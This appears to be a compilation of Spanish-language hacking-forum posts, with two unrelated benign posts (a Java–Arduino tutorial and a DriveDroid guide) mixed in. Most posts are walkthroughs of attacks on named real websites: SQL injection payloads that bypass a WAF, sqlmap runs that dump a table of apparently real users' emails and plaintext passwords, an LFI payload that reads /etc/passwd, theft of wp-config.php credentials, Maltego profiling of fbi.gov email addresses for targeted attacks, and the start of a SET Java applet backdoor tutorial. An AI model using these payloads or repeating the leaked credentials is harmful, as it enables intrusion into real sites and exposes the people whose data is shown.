Métodos para bypassear un WAF en Inyección SQLi

¿Qué es un WAF?

Un Web Application Firewall, como su propio nombre indica, es una solución, bien en formato hardware, como en virtual appliance, o software, o incluso, en formato SaaS, capaz de ejercer de capa específica de protección ante ataques diseñados expresamente para aprovechar las innumerables vulnerabilidades que existen en un aplicativo web.

---

Pero quizás, lo más  importante de todo, es que la solución sea escalable, no introduzca latencias  significativas, permita una implantación sencilla y asumible, y, sobre todo, sea  flexible, para permitirnos adaptar sus distintas protecciones a nuestro abanico de aplicaciones web existentes y futuras, externas e internas.

Bueno, supongamos que tenemos una página vulnerable a SQL Injection y nos toca búscar las columnas vulnerables usando UNION SELECT, y cuando ejecutamos la inyección en la página de repente nos dispara un WAF. Un ejemplo de como se vería ciertas veces un waf:

Usare esa página como ejemplo, http://www.alwaysperu.com/tours-view-more.php?id=1

Vale, entonces como lo bypassearia? usando ciertas formas de burlar al servidor, por ejemplo en el UNION SELECT le puedo cambiar el caso y colocarlo como uNiOn SeLeCt , quedando todo de la siguiente forma:

http://www.alwaysperu.com/tours-view-more.php?id=1 and 0 uNion sELeCt 1,2,3,4,5,6,7,8,9,10 #

Vale, está un poco fuerte. No lo logro bypassear, entonces usamos otro tip. Como por ejemplo, los comentarios /*! */ . Ej:

http://www.alwaysperu.com/tours-view-more.php?id=1 and 0 /*!uNion sELeCt*/ 1,2,3,4,5,6,7,8,9,10 #

Aún no lo logra bypassear, añado un 50000 a un costado del union haber que tal..

http://www.alwaysperu.com/tours-view-more.php?id=1 and 0 /*!50000uNion sELeCt*/ 1,2,3,4,5,6,7,8,9,10 #

Nos devuelve el siguiente resultado:

 Excelente!! Nos ha logrado bypassear el Web Application Firewall. Ahora podemos seguir jugueteando con el servidor búscando sus registros, tablas, etc.. Eso ya es cosa de ustedes.

Otro tip que nos puede ser útil es:

UNIunionON SELselectECT

En esto, uso UNI porque ciertas veces el servidor elimina las palabras entonces lo uso de esa manera

Post realizado por M5f3r0

Maltego (Recolector de Informacion)

Antes de empezar a utilizar Maltego, es necesario registrarse en la web, ya que cuando se inicie Maltego por primera vez, nos pedirá que introduzcamos nuestra cuenta de usuario a través de un asistente. Si no realizamos estos pasos, no se nos cargará la paleta de entidades, por lo que no podremos utilizar adecuadamente el software.

Para iniciar un nuevo proyecto (Graph), se debe hacer clic sobre el icono marcado en la siguiente captura de pantalla.

En el lateral izquierdo de la interfaz, se encuentra un panel con la paleta de componentes. Para agregar una entidad desde esta paleta, basta con arrastrarlo al ‘Graph’. En la siguiente captura se ve como se ha agregado una entidad ‘Domain’.

Si hacemos clic sobre la entidad una vez agregada, en el lateral derecho se nos mostrará el panel de propiedades, pudiendo personalizar y modificar las propiedades del mismo. Para este ejemplo se ha configurado la propiedad ‘Domain Name’ como ‘fbi.gov’.


Para iniciar el proceso de minería de datos, hay que comenzar con la recogida de información sobre una entidad. Para ello es necesario hacer clic derecho sobre la misma, y expandir el menú ‘Run transform’, donde aparecerá una lista con las distintas transformaciones aplicables a dicha entidad.

Si dejamos el puntero del ratón situado encima de una de ellas, se nos mostrará una pequeña descripción sobre ella.

Una vez se inicie la búsqueda, se irá pintando el mapa de los datos obtenidos. Dicho mapa será representado mediante diferentes iconos dependiendo del tipo de entidad de que se trate. Por supuesto, cada una dispondrá de sus propias transformaciones.


Una vez se aplique la transformación, se inicirá la búsqueda, y a medida que esta se ejecuta y devuelve resultados, se irá pintando el mapa con los datos obtenidos. Dicho mapa será representado mediante diferentes iconos dependiendo del tipo de entidad que se trate, y cada una dispondrá, por tanto, de sus propias transformaciones.


Una parte importante, a la hora de realizar un proceso de ‘Data Gathering’, es la identificación de los usuarios de la organización objetivo. Dicha información puede resultar de gran utilidad a la hora de realizar ataques, ya sean bien de ingeniería social, o bien datos que se utilicen para la generación de diccionarios de usuarios, creando de este modo una lista de usuarios válidos en la organización.

Con este objetivo existe una transformación llamada ‘Email Addresses from Domain -> All in this set’, que intenta obtener un mapa similar al que se puede ver en la siguiente imagen:


Con todas estas direcciones de correos se puede obtener más información, como por ejemplo obtener los dominios en los cuales ha sido encontradas referencias a una dirección de correo concreta. Esto puede encontrar foros, relaciones de comunicación entre empresas, datos publicados en blogs, frecuencias de visita de usuarios, etc... para la realizacion de ataques dirigidos.

En este caso, para probar esta transformación se realizará una búsqueda sobre la dirección de correo ‘employment@fbi.gov’, usando la transformación ‘Other transformation -> To Website’.


Como se puede ver en la imagen 6, esta cuenta aparece relacionada con distintos servidores web.

En casos en los que se conozca información extra que Maltego ha sido incapaz de encontrar o relacionar, podemos hacer esto manualmente. Si por ejemplo se supiera de la existencia de la cuenta ‘usuario @fbi.gov’, se puede agregar manualmente arrastrando la entidad ‘Email Address’ y, posteriormente, creando un enlace con el dominio, símplemente arrastrando desde la entidad dominio hacia la dirección de correo.


Otra de las funcionalidades de Maltego es la extracción de metadatos de los documentos ofimáticos. Para ello, primero es necesaria la localización de dichos documentos mediante la transformación ‘Files and Documents from Domain -> To Files (Office)’, en este caso realizado sobre el dominio ‘usal.es’.


Para la extracción de metadatos, utilizar la transformación ‘Other transforms -> Parse meta information’ sobre los documentos ofimáticos, obteniendo así los datos.


Una vez está realizada la extracción y relación de datos, es posible visualizarla de diversas formas graficas (Mining view, Dynamic View, Edge Weighter View) o en modo texto (Entity List), seleccionando el tipo en la parte superior del gráfico.


Como se ha podido ver en este artículo, Maltego es una herramienta perfecta para hacer Data Gathering usando repositorios de conocimiento gratuitos en Internet. Una herramienta perfecta para acompañar cualquier proceso de pentesting en la fase de footprinting o fingerprinting e, incluso, cuando se quiera ir a hacer un ataque dirigido en la de exploiting.

Post realizado por Aryenal.bt

Tutorial Java + Arduino – JAVADUINO

¡Hola a todos! Hoy os traemos un tutorial muy interesante. En él, estableceremos una comunicación con Arduino a través de Java. Para ello, utilizaremos la librería RXTX, con el fin de poder utilizar el puerto serie. Tendremos dos LEDs, uno rojo y otro amarillo. Además, tendremos dos checkbuttons y dos botones en Java, desde los cuales podremos controlar nuestra aplicación.


Tras abrir el puerto, ya sabemos que estamos conectados con Arduino. Por lo tanto, hacemos que cuando se pulse un botón u otro (ON u OFF), se encienda o apague un LED, en función del estado en el que esté el checkbutton. Si por ejemplo, en la imagen anterior, quisiese apagar el rojo, tendría que seleccionarlo en el checkbutton y deseleccionar el amarillo, para que no actúen al mismo tiempo. Una vez pulsado el botón, se manda un “String” por el puerto serie, el cual lee Arduino con una interfaz que hemos programado, muy sencilla, como podréis ver en el vídeo y en el código.

La librería RXTX la podéis descargar desde su página oficial: RXTX.

Todo el proceso de programación e inserción de las imágenes en el proyecto, está incluído en el vídeo. Además, las imágenes de los LEDs, también van incluídas en los archivos con los códigos.

Espero que os sirva de gran ayuda, ya que es algo que en cualquier momento podemos necesitar, aunque no sea esta aplicación específica.

Post realizado por Expermicid

DriveDroid: Crea imágenes Live-CD con tu Android

En muchas ocasiones hemos necesitado utilizar en nuestro equipo un Live-CD para arrancar una versión de Linux e instalar dicho sistema operativo en nuestro ordenador.

Puede ocurrir que no tengamos a mano o disponible una memoria USB para crear un Live-USB o que no queramos gastar un cd para grabar algo que solo vamos a usar una vez.


Para estos casos existe un programa para Android que nos permite convertir cualquier dispositivo Android en un Live-USB para poder arrancar un sistema Linux en nuestro equipo desde él. DriveDroid es una aplicación gratuita (con publicidad) que podemos descargar desde la Play Store.

También existe una versión de pago que elimina dicha publicidad.

El único requisito de esta aplicación es que necesitaremos permisos de root para poder utilizar esta herramienta. Una vez descargada la aplicación en nuestro dispositivo la ejecutamos y nos pedirá los permisos de root. Se los concedemos para continuar.


Una vez que consigue los permisos de root accedemos a la ventana principal de la aplicación.


En primer lugar debemos configurar el modo USB de nuestro dispositivo de una forma adecuada. Para ello debemos activar el almacenamiento masivo USB en nuestro dispositivo y desactivar la opción de Android Debigging. Para configurar adecuadamente el equipo pulsamos sobre el botón de preferencias que nos aparece en la pantalla principal, debajo del texto y se nos abrirán las preferencias de DriveDroid.


En primer lugar vamos a configurar el modo USB de forma correcta para que nuestra aplicación funcione correctamente. Para ello pulsaremos sobre la opción “USB Mode” y seleccionaremos la opción “Mass Storage (recommended!)” que es la opción recomendada por el programa.


Una vez tenemos el modo USB correctamente configurado podemos cambiar el directorio de almacenamiento dónde se guardará la imagen pulsando sobre “image directory”. Si lo queremos dejar por defecto podemos volver a la ventana principal de la aplicación. Veremos que ya nos ha cambiado el aviso de configuración del modo USB.


Una vez volvemos a la ventana principal podemos descargar ya la imagen del sistema a nuestro dispositivo. Para ello pulsamos sobre el icono que aparece en la pantalla. También podemos añadir una imagen descargada previamente en el equipo copiándola al directorio que nos indica el programa (o que hayamos especificado nosotros). Pulsamos sobre el botón para descargar una imagen nueva a nuestro dispositivo y se cargará una lista con las imágenes disponibles para descargar.


Pulsamos sobre la distribución que queramos descargar y nos aparecerá una serie de versiones disponibles. Debemos elegir la versión que queramos.



Pulsamos sobre la versión que deseemos y comenzará la descarga. Esperamos a que finalice.


Una vez tenemos ya la imagen guardada en nuestro dispositivo volveremos a la ventana principal de la aplicación y nos aparecerá en una lista dicha imagen.


A continuación pulsaremos sobre la imagen que queremos cargar en el dispositivo para que se convierta en modo Live. Nos aparecerán 2 opciones: la primera con forma de una memoria USB sirve para indicar al sistema que cargue la imagen para arrancarla pero con la posibilidad de escribir en el disco como una memoria USB para grabar datos. La segunda crea un Live sin permisos de escritura tal como si fuese un CD-Rom, no podemos grabar datos.

Ahora con conectar el dispositivo al ordenador y seleccionar que arranque desde la unidad USB, cargará la imagen de Linux que hayamos descargado y la hayamos seleccionado como Live. Para desactivar la opción de Live debemos pulsar sobre “None” en la lista de imágenes para que deshabilite la opción de Live.

Source Code Disclosure

¿Qué es?

 Pues según mis palabras esta es una vulnerabilidad que se basa en un archivo que permite hacer descargas del sitio web sin tener algun filtro o alguno que no filtra todo.

¿El código?

 Veremos un ejemplo del codigo que puede ser vulnerable:



 Como ves solo pide de la variable $f , despues nos manda unos headers con el nombre del archivo y el tipo de archivo y por ultimo solo realiza la salida del mismo.


  ¿Como explotarla?

 Bueno mas que nada lo que se busca son datos sensibles o credenciales que puedan servir para algo, por ejemplo una conexion a una base de datos.

 Bueno empecemos he encontrado mi web vulnerable... ahora paso a realizar la descarga del archivo, este es un wordpress y como muchos sabemos wordpress tiene sus credenciales en el archivo wp-config.php


 Como vemos tenemos sus credenciales, ahora lo unico que hariamos seria conectar a la base de datos, encontrar sus usuarios y desencriptar contraseñas, como sabemos que este proceso de desencriptacion es muy tardado usamos el token para resetear...


 

 Y tenemos acceso al panel:

 

¿Como evitarla?

 La forma de evitarla seria solo decir un directorio, ver si el archivo es un archivo en realidad y si existe, y agregar por ejemplo solo una deteccion del tipo de archivo que se va descargar, por ejemplo, pdf y se podrian agregar mas, igual tambien podemos prevenir el uso de null bytes, este seria el codigo de ejemplo:


Post realizado por Arthusu

SQLi Automatizado con SQLMAP

Introducción:

En este paper veremos como obtener los datos de admin de una base de datos utilizando SQLMAP.
Para este tutorial usare Backtrack, ya que viene instalado y está listo para usarse.
Para abrirlo vamos a:

Applications  >>  Backtrack  >>  Exploitation Tools  >>  Web Exploitation Tools  >>  sqlmap

A penas abrimos sqlmap, podremos ver todos los parámetros disponibles, ahora solo usaremos los elementales.


Voy a usar una web vulnerable smartenergyhome.eu
Las querys las haremos desde aquí: smartenergyhome.eu/eng/seh-buildings.php?id=9

Extracción de información

Comenzaremos sacando los nombres de las bases de datos, para ello tipeamos:

python sqlmap.py -u target.com/index.php?id=9 --dbs


El programa comenzara a buscar las bases de datos y las mostrara una vez que finalice de correr


En mi caso me trajo 2, de las cuales una es por el cpanel y la otra es de la web.
La que usaremos será la segunda “smartene_SEH”
Ahora que tenemos el nombre de la base de datos, sigue buscar las tablas que posee, para ello vamos a tipear:

python sqlmap.py -u target.com/index.php?id=9 –D smartene_SEH -- tables


Este comando nos arrojara todas las tablas que tiene el sistema, y obviamente debemos buscar alguna que contenga datos de administradores para podernos loguear


En mi caso, la última tabla tiene el nombre “usuarios” por lo tanto, esa debe ser la tabla que tiene los datos de los admines.
Ahora veremos las columnas que tiene esa tabla de usuarios, para ver si en verdad tiene algún usuario y contraseña para luego entrar al panel de admin…
Ahora que conocemos el nombre de la tabla, vamos a tipear ahora lo siguiente:

python sqlmap.py -u target.com/index.php?id=9 –D smartene_SEH –T usuarios -- columns

+----+------------------------+------------------+----------+---------------------+----------+
| id | email                  | nombre           | usuario  | editado             | password |
+----+------------------------+------------------+----------+---------------------+----------+
| 1  | g.zapico@netavanza.com | Gustavo Zapico   | gzapico  | 2009-03-02 06:02:34 | medica3  |
| 2  | genis@vis-tek.com      | Gen\xeds Bayarri | gbayarri | 2009-03-02 06:20:37 | vis-tek  |
| 3  | j.berg@bwcv.es         | Josefin Berg     | jberg    | 2009-03-12 05:05:38 | seh2009  |
| 4  | l.bax@bwcv.es          | Laszlo Bax       | lbax     | 2010-03-26 16:46:18 | seh2009  |
+----+------------------------+------------------+----------+---------------------+----------+

Autor: ANTRAX

LFI + SQLI [Incluyendo ficheros a travez de valores enteros]

No es necesario que un parametro trabaje con valores tipo "string" para incluir ficheros localmente, hay ciertos parametros que trabajan con funciones como include(), require(), etc pero lo hacen por medio de un valor entero,por ejemplo:

Tenemos la siguiente url:

http://www.webvuln.com/path/index.php?op=11

La cual se encarga de mostrar cierto contenido dependiendo del valor que sea ingresado en el "id".En este caso el script realiza una sentencia en la base de datos para obtener el nombre del fichero, el cual luego sera pasado a include().

    $query=mysqli_query($conexion, "SELECT path FROM archivos WHERE id=".$_GET['id'].";");
    $fichero=mysqli_fetch_array($query, MYSQLI_ASSOC);
    include($fichero['path']);

Ahora vamos a un caso real.

La vulnerabilidad se da del lado del admin, al ingresar una comilla simple vemos el siguiente error.



El problema es que no podemos realizar un path traversal directamente por lo que se explicaba en lineas anteriores, pero si podriamos comprobar si el mismo parametro es vulnerable a inyeccion de comandos SQL.



Definitivamente si, y nos arroja la columna 3 la cual hace referencia a la seleccion de la ruta del archivo.

Entonces podriamos probar a inyecctar una sentencia para poder divisar cualquier fichero (siempre dentro de los limites) a nuestro antojo.

Veamos el fichero /etc/passwd.

http://www.webvuln.com/path/index.php?op=11 union select 1,2,0x2f6574632f706173737764,4,5--



Como dije anteriormente este parametro vulnerable se encuentra detras del panel de administracion, pero hay muchas veces en las que la reglas de un upload no pueden ser evadidas y hay que buscar otra manera de subir una shell, tranquilamente se podria explotar mediante una jpg file inclusion y proseguir con la intrusion.

Este post fue realizado por [Q]3rv[0]

Java Applet Attack Method – Backdorizacion con SET

En este paper vamos a ver como funciona la herramienta SET (Social Engineer Toolkit). Lo utilizaremos para obtener una Shell en la pc que intentamos atacar.
El método que veremos ahora de Applet Attack afecta a Java, por lo que lo convierte en un ataque multiplataforma (Windows – Linux – MAC)
Para este tutorial usare 2 pcs, una para atacar (Backtrack – Linux) y la otra será mi objetivo (Windows 7). Todo lo hare en mi ambiente local.
SET ya viene instalado en Backtrack. Podemos encontrarlo en:

Applications >> BackTrack >> Exploitation Tools >> Social Engineering Tools >> Social Engineering Toolkits >> SET

Cuando lo abramos por primera vez, podremos ver algo como esto:


Son los términos y conficiones de uso. Presionamos la tecla “Y” seguido de la tecla Enter para continuar.

Preparando el Escenario

Una vez dentro, podremos ver algo como esto:


Seleccionamos la primera opción: Social-Engineering Attacks que es a lo que está enfocado este tutorial.

Luego, veremos algo como esto: